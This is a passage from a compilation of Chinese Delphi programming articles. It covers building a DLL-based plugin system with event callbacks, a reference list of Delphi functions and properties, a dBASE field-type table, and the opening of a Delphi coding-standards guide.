然有一个限制：这只是一种单侧（one-sided）机制。正如所看到的，系统依赖用户的
某些操作才能启动插件代码，比如点击菜单或者类似的动作。代码运行起来以后，又要
依靠另外一个用户动作来停止它，例如，关闭插件可能已经打开的窗体。克服这种缺
陷的一种可行的方法就是使插件可以响应父应用中的动作--模仿在Delphi中工作地
很好的事件驱动编程模型的确有效。
在最后一个例子插件中，我们将创建一种机制，插件可以藉此响应父应用中产生的事
件。通常情况下，可以通过判定需要触发哪些事件、在父应用中为每个事件创建一个
Tlist对象来实现。然后每个Tlist对象都被传递到插件的初始化过程中，如果插件想
在某个事件中执行动作，它就把负责执行的函数地址加入到对应的TList中。父应用在
适当的时刻循环这些函数指针的列表，按次序调用每个函数。通过这种方法，就为多
个插件在同一事件中执行动作提供了可能。
应用程序产生的事件完全依赖于程序已确定的功能。例如，一个TCP/IP网络应用程序
可能希望通过TclientSocket的onRead事件通知插件数据抵达，而一个图形应用程序可
能对调色板的变化更感兴趣。
为了说明事件驱动的插件应答的概念，我们将创建一个用于限制主窗口最小尺寸
的插件。这个例子有点儿造作，因为把这个功能做到应用程序里边会比这简单的多。
不过这个例子的优点在语容易编码而且易于理解，而这正是本文想要做到的。
很明显，我们要做的第一件事情就是决定到底要产生哪些事件。在本例中，答案
很简单：要限制一个应用程序窗口的尺寸，有必要捕获并且修改Windows消息
WM_GETMINMAXSINFO。因此，要创建一个完成这项功能的插件，我们必须捕获这个消
息并且在这个消息处理器中调用插件例程。这就是我们要创建的事件。
接下来我们要创建一个TList来处理这个事件。在主窗体的initialization段中将
会创建lstMinMax对象，然后，创建一个消息处理器来捕获Windows消息
WM_GETMINMAXINFO。图9中的代码显示了这个消息处理器。
{ 捕获 WM_GETMINMAXINFO. 为每个消息调用插件例程. }
procedure TfrmMain.MinMaxInfo(var msg: TMessage);
var
m: PMinMaxInfo; file://在 Windows.pas 中定义.
i: Integer;
begin
m := pointer(msg.Lparam);
for i := 0 to lstMinMax.count -1 do begin
TResizeProc(lstMinMax[i])(m.ptMinTrackSize.x,
m.ptMinTrackSize.y);
end;
end;
图 9: WM_GETMINMAXINFO 的消息处理器
外壳应用的LoadPlugin过程必须再次修改以便调用初始化例程。这个新初始化
函数把我们的TList当作参数接受，在其中加入修改消息参数的函数地址。图10
显示了LoadPlugin过程的最终版本，它可以执行到目前为止所讨论的全部几个插件
的初始化工作。
{ 加载指定的插件DLL. }
procedure TfrmMain.LoadPlugin(sr: TSearchRec);
var
Description: string;
LibHandle: Integer;
DescribeProc: TPluginDescribe;
InitProc: TPluginInit;
InitEvents: TInitPluginEvents;
begin
LibHandle := LoadLibrary(Pchar(sr.Name));
if LibHandle <> 0 then
begin
// 查找 DescribePlugin.
DescribeProc := GetProcAddress(LibHandle,
cPLUGIN_DESCRIBE);
if Assigned(DescribeProc) then
begin
// 调用 DescribePlugin.
DescribeProc(Description);
memPlugins.Lines.Add(Description);
file://查找InitPlugin.
InitProc := GetProcAddress(LibHandle, cPLUGIN_INIT);
if Assigned(InitProc) then
begin
file://调用InitPlugin.
InitProc(mnuMain);
end;
// 为第三方插件查找 InitPluginEvents
InitEvents := GetProcAddress(LibHandle,
cPLUGIN_INITEVENTS);
if Assigned(InitEvents) then
begin
// 调用 InitPlugin.
InitEvents(lstMinMax);
end;
end
else
begin
MessageDlg('File "' + sr.Name +
'" is not a valid plugin.',
mtInformation, [mbOK], 0);
end;
end
else
begin
MessageDlg('An error occurred loading the plugin "' +
sr.Name + '".', mtInformation, [mbOK], 0);
end;
end;

最后一步是创建插件自身。如同前面的几个例子，插件展示一个标志自身的描述
过程。它也带有一个初始化例程，在本例中只是接受一个TList作为参数。最后，它还
包含一个没有引出（Export）的历程，叫做AlterMinTrackSize，它将修改传递给它的
数值。

最终插件的完整代码。
unit main;

interface

uses Dialogs, Menus, classes;

procedure DescribePlugin(var Desc: string);
export; stdcall;
procedure InitPluginEvents(lstResize: TList);
export; stdcall;
procedure AlterMinTrackSize(var x, y: Integer); stdcall;

implementation

procedure DescribePlugin(var Desc: string);
begin
Desc := 'Test plugin 3 - MinMax';
end;

procedure InitPluginEvents(lstResize: TList);
begin
lstResize.Add(@AlterMinTrackSize);
end;

procedure AlterMinTrackSize(var x, y: Integer);
begin
x := 270;
y := 220;
end;

end.
最终插件的代码
InitPluginEvents过程是这个插件的初始化例程。它接受一个TList作为参数。这
个TList就是在父应用程序中创建的保存相应函数地址的列表。下面的语句：
lstResize.Add(@AlterMinTrackSize);
把AlterMinTrackSize函数的地址加入到了这个列表中。它被声明为类型stdcall以
便与其他过程相配，不过用不着export指示字。由于函数被直接通过它的地址调用，
所以也就没有必要按照通常的方式把它从DLL中引出。
所以，事件序列如下所列：
1、 在应用程序初始化时，创建一个TList对象。
2、 在启动时这个列表被传递到插件的初始化过程InitPluginEvents中。
3、 插件过程把一个过程的地址加入到列表中。
4、 每次窗口大小改变时所产生的Windows消息WM_GETMINMAXINFO被我们的应用程
序所捕获。
5、 该消息被我们的消息处理器TfrmMain.MainMaxInfo所处理，见图10。
6、 消息处理器遍历列表并调用它所包含的函数，把当前的X和Y最小窗口尺寸作为
参数传递。要注意，TList类只是存储指针，所以如果想用保存的地址做些什么事情
的话，我们必须把指针转换成所需要的类型--在本例中，要转换成TresizeProc。
TResizeProc = procedure (var x, y: Integer); stdcall;
7、 插件过程AlterMinTrackSize（列表中的指针所指向的），接受X和Y值作为可变
的var参数并且修改它们。
8、 控制权返回到父应用的消息处理器，按照最小窗口尺寸的新值继续运行下去。
9、 应用程序退出时TList会在主代码的finalization段被释放。
结论

使用该体系结构时，可能利用Delphi提供的package功能是个不错的主意。在通
常情况下，我不是一个分割运行时模块的狂热爱好者，但是当你认为任一包含大量代
码的Delphi DLL超过200KB时，它就开始变得有意义了。
这篇文章应该还是有些用处的，至少它可以让你思考一些程序设计方面的问题，比
如如何让它变得更加灵活。我知道如果我在以前的应用程序中使用一些这种技术的
话，我就可以省掉在修改程序方面的好多工作。我并不想把插件作为一种通用的解
决方案。很明显，有些情况下额外的复杂度无法验证其正确性，或者应用程序压根儿
就不打算把自身搞成几块可扩展的单元。还有一些其它的方法也可以达成同样的效果。
Delphi自身提供了一个接口来创作能集成到IDE中的模块，比起我所说明的技术这种方
法更加面向对象（或者说更"干净"），而我也确信你可以在自己的应用中模仿这一技
术。在运行时加载Delphi包也不是做不到的。探索一下这种可能性吧。
本文所介绍的技术在Delphi 4下工作的很好。实际上，Delphi 4增加了工程选项，使
这类应用程序加强DLL（application-plus-DLL）的开发变得更加容易了。


CSDN_文档中心_Delphi 插件（Plug-ins）创建、调试与使用应用程序扩展(一)

有没有使用过Adobe Photoshop？如果用过，你就会对插件的概念比较熟悉。
对外行人来说，插件仅仅是从外部提供给应用程序的代码块而已（举个例子来说，在
一个DLL中）。一个插件和一个普通DLL之间的差异在于插件具有扩展父应用程序功能
的能力。例如，Photoshop本身并不具备进行大量的图像处理功能。插件的加入使其
获得了产生诸如模糊、斑点，以及其他所有风格的奇怪效果，而其中任何一项功能都
不是父应用程序自身所具有的。
对于图像处理程序来说这很不错，可是为什么要花偌大的力气去完成支持插件的商业
应用程序呢？假设，我们举个例子，你的应用程序要产生一些报表。你的客户肯定会
一直要求更新或者增加新的报表。你可以使用一个诸如Report Smith的外部报表生成
器，这是个不怎么样的解决方案，需要发布附加的文件，要对用户进行额外的培训，
等等。你也可以使用QuickReport，不过这会使你身处版本控制的噩梦之中--如果每
改变一次字体你就要Rebuild你的应用程序的话。
然而，只要你把报表做到插件中，你就可以使用它。需要一个新的报表吗？
没问题，只要安装一个DLL，下次应用程序启动时就会看见它了。另外一个例子是处理
来自外部设备（比如条形码扫描器）的数据的应用程序，为了给用户更多的选择，你
不得不支持半打的各种设备。通过将每种设备接口处理例程写成插件，不用对父应用
程序作任何变动就可以获得最大程度的可伸缩性。

入门

在开始写代码之前最重要的事情就是搞清楚你的应用程序到底需要扩展哪
些功能。这是因为插件是通过一个特定的接口与父应用程序交互的，而这个接口将
根据你的需要来定义。在本文中，我们将建立3个插件，以便展示插件与父应用程
序相交互的几种方式。
我们将把插件制作成DLL。不过，在做这项工作之前，我们得先制作一个外
壳程序来载入和测试它们。图1显示的是加载了第一个插件以后的测试程序。第一个
插件没有完成什么大不了的功能，实际上，它所做的只是返回一个描述自己的字符
串。不过，它证明了很重要的一点--不管有没有插件应用程序都可以正常运行。
如果没有插件，它就不会出现在已安装的插件列表中，但是应用程序仍然可以正常
的行使功能。

图1：插件测试外壳程序

我们的插件外壳程序与普通应用程序之间的唯一不同就在于工程源文件
中出现在uses子句中的Sharemem单元和加载插件文件的代码。任何在自身与子DLL
之间传递字符串参数的应用程序都需要Sharemem单元，它是DelphiMM.dll（Delphi
提供该文件）的接口。要测试这个外壳，需要将DelphiMM.dll文件从Delphi\Bin
目录复制到path环境变量所包含的路径或者应用程序所在目录中。发布最终版本
时也需要同时分发该文件。
插件通过LoadPlugins过程载入到这个测试外壳中，这个过程在主窗口
的FormCreate事件中调用，见图2。该过程使用FindFirst和FindNext函数在应用
程序所在目录中查找插件文件。找到一个文件以后，就使用图3所示的LoadPlugins过
程将其载入。
{ 在应用程序目录下查找插件文件 }
procedure TfrmMain.LoadPlugins;
var
sr: TSearchRec;
path: string;
Found: Integer;
begin
path := ExtractFilePath(Application.Exename);
try
Found := FindFirst(path + cPLUGIN_MASK, 0, sr);
while Found = 0 do begin
LoadPlugin(sr);
Found := FindNext(sr);
end;
finally
FindClose(sr);
end;
end;

图 2： 寻找插件
{ 加载指定的插件 DLL. }
procedure TfrmMain.LoadPlugin(sr: TSearchRec);
var
Description: string;
LibHandle: Integer;
DescribeProc: TPluginDescribe;
begin
LibHandle := LoadLibrary(Pchar(sr.Name));
if LibHandle <> 0 then
begin
DescribeProc := GetProcAddress(LibHandle,
cPLUGIN_DESCRIBE);
if Assigned(DescribeProc) then
begin
DescribeProc(Description);
memPlugins.Lines.Add(Description);
end
else
begin
MessageDlg('File "' + sr.Name +
'" is not a valid plug-in.',
mtInformation, [mbOK], 0);
end;
end
else
MessageDlg('An error occurred loading the plug-in "' +
sr.Name + '".', mtError, [mbOK], 0);
end;

图 3： 载入插件
LoadPlugin方法展示了插件机制的核心。首先，插件被写成DLL。其次，
通过LoadLibrary API它被动态的加载。一旦DLL被加载，我们就需要一个访问它
所包含的过程和函数的途径。API调用GetProcAddress提供这种机制，它返回一个
指向所需例程的指针。在我们这个简单的演示中，插件仅仅包含一个名为
DescribePlugin的过程，由常数cPLUGIN_DESCRIBE指定（过程名的大小写非常重
要，传递到GetProcAddress的名称必须与包含在DLL中的例程名称完全一致）。如
果在DLL中没有找到请求的例程，GetProcAddree将返回nil，这样就允许使
用Assigned函数测定返回值。
为了以一种易用的方式存储指向一个函数的指针，有必要为用到的变量
创建一个特定的类型。注意，GetProcAddress的返回值被存储在一个变量中，
DescribeProc，属于TpluginDescribe类型。下面是它的声明：
type
TPluginDescribe = procedure(var Desc: string); stdcall;
由于过程存在于DLL内部，它通过标准调用转换编译所有导出例程，
因此需要使用stdcall指示字。这个过程使用一个var参数，当过程返回的时候它包
含插件的描述。
要调用刚刚获得的过程，只需要使用保存地址的变量作为过程名，后面跟
上任何参数。就我们的例子而言，声明：
DescribeProc(Description)
将会调用在插件中获得的描述过程，并且用描述插件功能的字符串填充Description
变量。

构造插件

我们已经创建好了父应用程序，现在该轮到创建我们希望加载的插件了。
插件文件是一个标准的Delphi DLL，所以我们从Delphi IDE中创建一个新DLL工程，
保存它。由于导出的插件函数将用到字符串参数，所以要在工程的uses子句中把
Sharemen单元放在最前面。图4列出的就是我们这个简单插件的工程源文件。
uses
Sharemem, SysUtils, Classes,
main in 'main.pas';

{$E plg.}

exports
DescribePlugin;

begin

end.

图 4： 简单插件的工程源文件
虽然插件是一个DLL文件，但是没有必要一定要给它一个.DLL的扩展名。
实际上，一个原因就足以让我们有理由改变扩展名：当父应用程序寻找要加载的文
件时，新的扩展名可以作为特定的文件掩模。通过使用别的扩展名（我们的例子使
用了*.plg），你可以在一定程度上确信应用程序只会载入相应的文件。编译指示
字$X可以实现这个改变，也可以通过Project Options对话框的Application页来设
置扩展名。
第一个例子插件的代码是很简单的。图5显示了包含在一个新单元中的代
码。注意，DescribePlugin原型与外壳应用程序中的TpluginDescribe类型相一致，
使用附加的export保留字指定该过程将被导出。被导出的过程名称也将会出现在主
工程源代码的exports段中（在图4中列出）。
unit main;

interface

procedure DescribePlugin(var Desc: string);
export; stdcall;

implementation

procedure DescribePlugin(var Desc: string);
begin
Desc := 'Test plugin v1.00';
end;

end.

图 5： 例子插件的主程序
在测试这个插件之前，要先把它复制到主应用程序的路径下。最简单的办法就
是在主目录的子目录下创建插件，然后把输出路径设置为主路径（Project Options对
话框的Directories/Conditionals也可以作这个设置）。

调试

现在介绍一下Delphi 3中一个较好的功能：从IDE中调试DLL的能力。在DLL工
程中可以通过Run paramaters对话框指定某程序为宿主应用程序，这就是指向将调
用DLL的应用程序的路径（在我们这个例子中，就是刚刚创建的测试外壳程序）。然后
你就可以在DLL代码中设置断点并且按F9运行它--就像在一个普通应用程序中做的那
样。Delphi会运行指定的宿主程序，并且，通过编译带有调试信息的DLL，把你指引到
DLL代码内的断点处。


CSDN_文档中心_Delphi 常用函数

------------------------------------------------------------------------------

Bad Boy Studio

http://hnh.126.com

----------------------------------------------------------------------------

Abort 函数 引起放弃的意外处理
Abs 函数 绝对值函数
AddExitProc 函数 将一过程添加到运行时库的结束过程表中
Addr 函数 返回指定对象的地址
AdjustLineBreaks 函数 将给定字符串的行分隔符调整为CR/LF序列
Align 属性 使控件位于窗口某部分
Alignment 属性 控件标签的文字位置
AllocMem 函数 在堆栈上分配给定大小的块
AllowGrayed 属性 允许一个灰度选择
AnsiCompareStr 函数 比较字符串（区分大小写）
AnsiCompareText 函数 比较字符串（不区分大小写）
AnsiLowerCase 函数 将字符转换为小写
AnsiUpperCase 函数 将字符转换为大写
Append 函数 以附加的方式打开已有的文件
ArcTan 函数 余切函数
AssignFile 函数 给文件变量赋一外部文件名
Assigned 函数 测试函数或过程变量是否为空
AutoSize 属性 自动控制标签的大小
BackgroundColor 属性 背景色
BeginThread 函数 以适当的方式建立用于内存管理的线程
BevelInner 属性 控件方框的内框方式
BevelOuter 属性 控件方框的外框方式
BevelWidth 属性 控件方框的外框宽度
BlockRead 函数 读一个或多个记录到变量中
BlockWrite 函数 从变量中写一个或多个记录
BorderStyle 属性 边界类型
BorderWidth 属性 边界宽度
Break 命令 终止for、while、repeat循环语句
Brush 属性 画刷
Caption 属性 标签文字的内容
ChangeFileExt 函数 改变文件的后缀
ChDir 函数 改变当前目录
Checked 属性 确定复选框选中状态
Chr 函数 返回指定序数的字符
CloseFile 命令 关闭打开的文件
Color 属性 标签的颜色
Columns 属性 显示的列数
CompareStr 函数 比较字符串（区分大小写）
Concat 函数 合并字符串
Continue 命令 继续for、while、repeat的下一个循环
Copy 函数 返回一字符串的子串
Cos 函数 余弦函数
Ctl3D 属性 是否具有3D效果
Cursor 属性 鼠标指针移入后的形状
Date 函数 返回当前的日期
DateTimeToFileDate 函数 将DELPHI的日期格式转换为DOS的日期格式
DateTimeToStr 函数 将日期时间格式转换为字符串
DateTimeToString 函数 将日期时间格式转换为字符串
DateToStr 函数 将日期格式转换为字符串
DayOfWeek 函数 返回星期的数值
Dec 函数 递减变量值
DecodeDate 函数 将日期格式分解为年月日
DecodeTime 函数 将时间格式分解为时、分、秒、毫秒
Delete 函数 从字符串中删除子串
DeleteFile 命令 删除文件
DiskFree 函数 返回剩余磁盘空间的大小
DiskSize 函数 返回指定磁盘的容量
Dispose 函数 释放动态变量所占的空间
DisposeStr 函数 释放字符串在堆栈中的内存空间
DitherBackground 属性 使背景色的色彩加重或减少50%
DragCursor 属性 当鼠标按下时光标的形状
DragMode 属性 按动的作用方式
DropDownCount 属性 容许的显示数据项的数目
EditMask 属性 编辑模式
Enabled 属性 是否使标签呈现打开状态
EncodeDate 函数 将年月日合成为日期格式
EncodeTime 函数 将时、分、秒、毫秒合成为时间格式
EndMargin 属性 末尾边缘
Eof 函数 对有类型或无类型文件测试是否到文件尾
Eoln 函数 返回文本文件的行结束状态
Erase 命令 删除外部文件
ExceptAddr 函数 返回引起当前意外的地址
Exclude 函数 从集合中删除一些元素
ExceptObject 函数 返回当前意外的索引
Exit 命令 立即从当前的语句块中退出
Exp 函数 指数函数
ExpandFileName 函数 返回包含绝对路径的字符串
ExtendedSelect 属性 是否允许存在选择模式，True时，MultiSelect才有意义
ExtractFileDir 函数 返回驱动器和路径
ExtractFileExt 函数 返回文件的后缀
ExtractFileName 函数 返回文件名
ExtractFilePath 函数 返回指定文件的路径
FileAge 函数 返回文件已存在的时间
FileClose 命令 关闭指定的文件
FileCreate 命令 用指定的文件名建立新文件
FileDateToDateTime 函数 将DOS的日期格式转换为DELPHI的日期格式
FileExists 函数 检查文件是否存在
FileGatAttr 函数 返回文件的属性
FileGetDate 函数 返回文件的DOS日期时间标记
FileOpen 命令 用指定的存取模式打开指定的文件
FilePos 函数 返回文件的当前指针位置
FileRead 命令 从指定的文件读取
FileSearch 命令 在目录中搜索指定的文件
FileSeek 函数 改变文件的指针
FileSetAttr 函数 设置文件属性
FileSetDate 函数 设置文件的DOS日期时间标记
FileSize 函数 返回当前文件的大小
FileWrite 函数 对指定的文件做写操作
FillChar 函数 用指定的值填充连续字节的数
FindClose 命令 终止FindFirst/FindNext序列
FindFirst 命令 对指定的文件名及属性搜索目录
FindNext 命令 返回与文件名及属性匹配的下一入口
FloatToDecimal 函数 将浮点数转换为十进制数
FloatToStrF 函数 将浮点数转换为字符串
FloatToStr 函数 将浮点数转换为字符串
FloatToText 函数 将给定的浮点数转换为十进制数
FloatToTextFmt 函数 将给定的浮点数转换为十进制数
Flush 函数 将缓冲区的内容刷新到输出的文本文件中
FmtLoadStr 函数 从程序的资源字符串表中装载字符串
FmtStr 函数 格式化一系列的参数，其结果以参数Result返回
Font 属性 设置字体
Format 函数 格式化一系列的参数并返回Pascal字符串
FormatBuf 函数 格式化一系列的参数
FormatDateTime 函数 用指定的格式来格式化日期和时间
FormatFloat 函数 指定浮点数格式
Frac 函数 返回参数的小数部分
FreeMem 函数 按给定大小释放动态变量所占的空间
GetDir 返回指定驱动器的当前目录
GetHeapStatus 返回内存管理器的当前状态
GetMem 建立一指定大小的动态变量，并将指针指向该处
GetMemoryManager 返回内存管理器的入口点
Glyph 函数 按钮上的图象
Halt 停止程序的执行并返回到操作系统
Hi 返回参数的高地址位
High 返回参数的上限值
Hint 属性 提示信息
Int 返回参数的整数部分
Include 添加元素到集合中
Insert 在字符串中插入子串
IntToHex 将整型数转换为十六进制数
IntToStr 将整型数转换为字符串
IOResult 返回最新的I/O操作完成状态
IsValidIdent 测试字符串是否为有效的标识符
Items 属性 默认显示的节点
Kind 属性 摆放样式
LargeChange 属性 最大改变值
Layout 属性 图象布局
Length 函数 返回字符串的动态长度
Lines 属性 缺省显示内容
Ln 函数 自然对数函数
Lo 函数 返回参数的低地址位
LoadStr 函数 从应用程序的可执行文件中装载字符资源
LowerCase 函数 将给定的字符串变为小写
Low 函数 返回参数的下限值
Max 属性 最大值
MaxLength 属性 最大长度
Min 属性 最小值
MkDir 命令 建立一子目录
Move 函数 从源到目标复制字节
MultiSelect 属性 允许同时选择几个数据项
Name 属性 控件的名字
New 函数 建立新的动态变量并设置一指针变量指向他
NewStr 函数 在堆栈上分配新的字符串
Now 函数 返回当前的日期和时间
Odd 测试参数是否为奇数
OnActivate 事件 焦点移到窗体上时触发
OnClick 事件 单击窗体空白区域触发
OnDblClick 事件 双击窗体空白区域触发
OnCloseQuery 事件 使用者试图关闭窗体触发
OnClose 事件 窗体关闭后才触发
OnCreate 事件 窗体第一次创建时触发
OnDeactivate 事件 用户切换到另一应用程序触发
OnDragDrop 事件 鼠标拖放操作结束时触发
OnDragOver 事件 有其他控件从他上面移过触发
OnMouseDown 事件 按下鼠标键时触发
OnMouseUp 事件 释放鼠标键时触发
OnMouseMove 事件 移动鼠标时触发
OnHide 事件 隐藏窗体时触发
OnKeyDown 事件 按下键盘某键时触发
OnKeyPress 事件 按下键盘上的单个字符键时触发
OnKeyUp 事件 释放键盘上的某键时触发
OnPaint 事件 窗体上有新部分暴露出来触发
OnResize 事件 重新调整窗体大小触发
OnShow 事件 在窗体实际显示之前瞬间触发
Ord 返回序数类的序数
OutlineStyle 属性 类型
OutOfMemoryError 引起OutOfMemory意外
PageIndex 属性 页索引
Pages 属性 页
ParamCount 函数 返回在命令行上传递给程序的参数数量
ParamStr 函数 返回指定的命令行参数
Pen 属性 画刷设置
Pi 函数 返回圆周率Pi
Picture 属性 显示图象
PictureClosed 属性 设置Closed位图
PictureLeaf 属性 设置Leaf位图
PictureMinus 属性 设置Minus位图
PictureOpen 属性 设置Open位图
PicturePlus 属性 设置Plus位图
Pos 函数 在字符串中搜索子串
Pred 函数 返回先前的参数
Random 函数 返回一随机函数
Randomize 函数 用一随机数初始化内置的随机数生成器
Read 函数 对有格式的文件，读一文件组件到变量中；
对文本文件，读一个或多个值到一个或多个变量中
Readln 函数 执行Read过程，然后跳到文件下一行
ReadOnly 属性 只读属性
ReAllocMem 函数 分配一动态变量
Rename 函数 重命名外部文件
RenameFile 函数 对文件重命名
Reset 函数 打开已有的文件
Rewrite 函数 建立并打开一新的文件
RmDir 函数 删除空的子目录
Round 函数 将实数值舍入为整型值
RunError 函数 停止程序的执行
ScrollBars 属性 滚动条状态
Seek 函数 将文件的当前指针移动到指定的组件上
SeekEof 函数 返回文件的文件结束状态
SeekEoln 函数 返回文件的行结束状态
SelectedColor 属性 选中颜色
SetMemoryManager 函数 设置内存管理器的入口点
SetTextBuf 函数 给文本文件指定I/O缓冲区
Shape 属性 显示的形状
ShowException 函数 显示意外消息与地址
Sin 函数 正弦函数
SizeOf 函数 返回参数所占的字节数
SmallChange 属性 最小改变值
Sorted 属性 是否允许排序
Sqr 函数 平方函数
Sqrt 函数 平方根函数
StartMargin 属性 开始边缘
State 属性 控件当前状态
Str 函数 将数值转换为字符串
StrAlloc 函数 给以NULL结束的字符串分配最大长度-1的缓冲区
StrBufSize 函数 返回存储在由StrAlloc分配的字符缓冲区的最大字符数
StrCat 函数 将一字符串附加到另一字符串尾并返回合并的字符串
StrComp 函数 比较两个字符串
StrCopy 函数 将一个字符串复制到另一个字符串中
StrDispose 函数 释放堆栈上的字符串
StrECopy 函数 将一字符串复制到另一个字符串并返回结果字符串尾部的指针
StrEnd 函数 返回指向字符串尾部的指针
Stretch 属性 自动适应控件的大小
StrFmt 函数 格式化一系列的参数
StrIComp 函数 比较两个字符串（不区分大小写）
StringToWideChar 函数 将ANSI字符串转换为UNICODE字符串
StrLCat 函数 将一字符串中的字符附加到另一字符串尾并返回合并的字符串
StrLComp 函数 以最大长度比较两个字符串
StrLCopy 函数 将一个字符串中的字符复制到另一个字符串中
StrLen 函数 返回字符串中的字符数
StrLFmt 函数 格式化一系列的参数，其结果中包含有指向目标缓冲区的指针
StrLIComp 函数 以最大长度比较两个字符串（不区分大小写）
StrLower 函数 将字符串中的字符转换为小写
StrMove 函数 将一个字符串中的字符复制到另一个字符串中
StrNew 函数 在堆栈上分配一个字符串
StrPas 函数 将以NULL结束的字符串转换为PASCAL类的字符串
StrPCopy 函数 将PASCAL类的字符串复制为以NULL结束的字符串
StrPLCopy 函数 从PASCAL类的最大长度字符串复制为以NULL结束的字符串
StrPos 函数 返回一个字符串在另一个字符串中首次出现指针
StrRScan 函数 返回字符串中最后出现字符的指针
StrScan 函数 返回字符串中出现首字符的指针
StrToDate 函数 将字符串转换为日期格式
StrToDateTime 函数 将字符串转换为日期/时间格式
StrToFloat 函数 将给定的字符串转换为浮点数
StrToInt 函数 将字符串转换为整型
StrToIntDef 函数 将字符串转换为整型或默认值
StrToTime 函数 将字符串转换为时间格式
StrUpper 函数 将字符串中的字符转换为大写
Style 属性 类型选择
Suce 函数 返回后继的参数
Swap 函数 交换参数的高低地址位
Tabs 属性 标记每一项的内容
TabIndex 属性 标记索引
Text 属性 显示的文本
TextToFloat 函数 将字符串（以NULL结束的格式）转换为浮点数
Time 函数 返回当前的时间
TimeToStr 函数 将时间格式转换为字符串
Trim 函数 从给定的字符串中删除前导和尾部的空格及控制字符
TrimLeft 函数 从给定的字符串中删除首部的空格及控制字符
TrimRight 函数 从给定的字符串中删除尾部的空格及控制字符
Trunc 函数 将实型值截取为整型值
Truncate 函数 截去当前文件位置后的内容
UnSelectedColor 属性 未选中颜色
UpCase 将字符转换为大写
UpperCase 将给定的字符串变为大写
Val 函数 将字符串转换为整型值
VarArrayCreate 函数 以给定的界限和维数建立变体数组
VarArrayDimCount 函数 返回给定变体的维数
VarArrayHighBound 函数 返回给定变体数组维数的上界
VarArrayLock 函数 锁定给定的变体数组
VarArrayLowBound 函数 返回给定变体数组维数的下界
VarArrayOf 函数 返回指定变体的数组元素
VarArrayRedim 函数 通过改变上限来调整变体的大小
VarArrayUnlock 函数 解锁指定的变体数组
VarAsType 函数 将变体转换为指定的类型
VarCase 函数 将变体转换为指定的类型并保存他
VarClear 函数 清除指定的变体
VarCopy 函数 将指定的变体复制为指定的变体
VarFormDateTime 函数 返回包含日期时间的变体
VarIsArray 函数 测试变体是否为数组
VarIsEmpty 函数 测试变体是否为UNASSIGNED
VarIsNull 函数 测试变体是否为NULL
VarToDateTime 函数 将给定的变体转换为日期时间
VarType 函数 将变体转换为指定的类型并保存他
Visible 属性 控件的可见性
WantReturns 属性 为True时，按回车键产生一个回车符；
为False时，按下Ctrl+Enter才产生回车符
Write 命令 对有格式的文件，写一变量到文件组件中；
对文本文件，写一个或多个值到文件中
Writeln 命令 执行WRITE过程，然后输出一行结束标志
WideCharLenToString 函数 将ANSI字符串转换为UNICODE字符串
WideCharLenToStrWar 函数 将UNICODE字符串转换为ANSI字符串变量
WideCharToString 函数 将UNICODE字符串转换为ANSI字符串
WideCharToStrVar 函数 将UNICODE字符串转换为ANSI字符串变量
------------------------------------------------------------------------------

Bad Boy Studio

http://hnh.126.com

----------------------------------------------------------------------------


CSDN_文档中心_Delphi 常用文档资料之二

Delphi 常用文档资料之二

——dBASE数据类型和长度表

符号 | 大小 | 小数点 | 类型 | 说明
C | 1~254 |  | 字符 | 用来表示字母和数字
F | 1~20 | 0~18 | 符点数 | 用来表示符点数
N | 1~20 | 0~18 | 数字 | 二~十进制(BCD码)
D |  |  | 日期 | 用8字节来表示日期
L |  |  | 逻辑 | 用来表示真/假
M |  |  | Memo | 用来表示备注等文本
O |  |  | OLE | 用来表示OLE对象
B |  |  | 二进制 | 用来表示二进制


CSDN_文档中心_Delphi 程序员代码编写标准指南 (二）

一、序言

本文档详述了在 Delphi 4开发者指南下进行编程的代码编写标准。在通常情况下，本文档遵循“取消”式格式的指引方针，该方针由Borland国际通过一些例外来使用。在 Delphi 4开发者指南中包含本文档的目的在于阐述一种方法，通过该方法，开发小组可以在他们所编写的代码中保持一贯的风格。这样做的目的是使在开发小组中的每一个程序员都可以明白其他程序员的代码。这有助于提高代码编写的可读性和使用的一贯性。

本文档并不意味着包含了所有存在于代码中的标准。但是，它的内容已足够帮你起个好头。你可以自由的增加修改这些标准来满足你的需要。我们不赞成你偏离这些由Borland开发人员所使用的标准太远。我们推荐这么做是因为一旦有新的程序员加入到你的开发小组中，而他们最喜欢和最熟悉的是Borland的标准。象大多数代码标准文档，本文档也会根据需要进行改动。因此，你可以到www.xapware.com/ddg中找到最新的更新版本。本文档不包括用户接口标准。本文档是独立的但也是同样重要的。已经有足够的第三方书籍和Microsoft文档包括了另外一些指导方针，而我们决定并不复制这些信息，但我们会指引你到Microsoft Developers Network 和一些资源，在那儿可以找到你所需的信息。

二、通用源代码格式规则

2.1 缩格

缩格是指在每一级有两个空格。不要在源代码中保留tab字符，这是因为tab字符会随着不同用户的不同设置和不同的资源管理工具（打印、文档、版本控制等）而代表不同的宽度。

你可以通过关闭Environment选项对话框中Editor页上的“Use tab character”和“Optimal fill”检查框（通过Tools|Environment）来禁止保存tab字符。

2.2 页边空格

页边空格会被设置成80字符宽。通常，源码不会超出这个边界，但这个方针会有一些弹性。不管是否有可能，那些超出到另一行的语句会在一个逗号或其他操作符之后与前面的语句相连。当一个语句被打断相连时，它应比原来的那一行语句缩进两个字符。

2.3 Begin…End 配对

Begin 子句应写在独立的一行。例如，下面第一行是错误的写法而第二行是正确的。

for I := 0 to 10 do begin //错误，begin同for在同一行

for I := 0 to 10 do   //正确，begin出现在独立的一行

begin

这个规则的例外是当begin子句的出现是作为一个else子句的一部分－参考例子：

if some statement then

begin

  …

end

else begin

  someOtherStatement;

end;

end 语句永远出现在独立的一行。

当begin语句不是一个else子句的一部分时，相应的end语句永远缩进到与begin部分相对应的位置。

三、Object Pascal

3.1 括号

永远不要在括号与括号之间的字符中间留下空格。下面的例子示范了错误的与正确地使用括号中的空格：

CallProc( Aparameter ); //错误

CallProc(Aparameter); //正确

永远不要在一个语句中使用不必要的括号。括号只应在源代码中需要的地方使用。以下的例子示范了错误和正确的使用：

if (I = 42) then //错误 － 多余的括号

if (I = 42) or (J = 42) then //正确－ 需要括号

3.2 保留字和关键字

Object Pascal 保留字和关键字永远是全部小写。

3.3 过程和函数（例程）

3.3.1 命名/格式化

例程的名字永远应该以大写的字母开头并且中间错落分明以便于可读性。下面是一个不正确格式的过程名称：

 procedure thisisapoorlyformattedroutinename;

下面是一个合适的大小写例程名称的例子：

 procedure ThisIsMuchMoreReadableRoutineName;

例程的名称应该同它的内容相符。一个会导致某个行为的例程应以动词开头。例如：

procedure FormatHardDrive;

一个用于设置输入参数的例程应以单词set作为前缀，例如：

procedure SetUserName;

一个用来接收某个值的例程应以单词get作为前缀，例如：

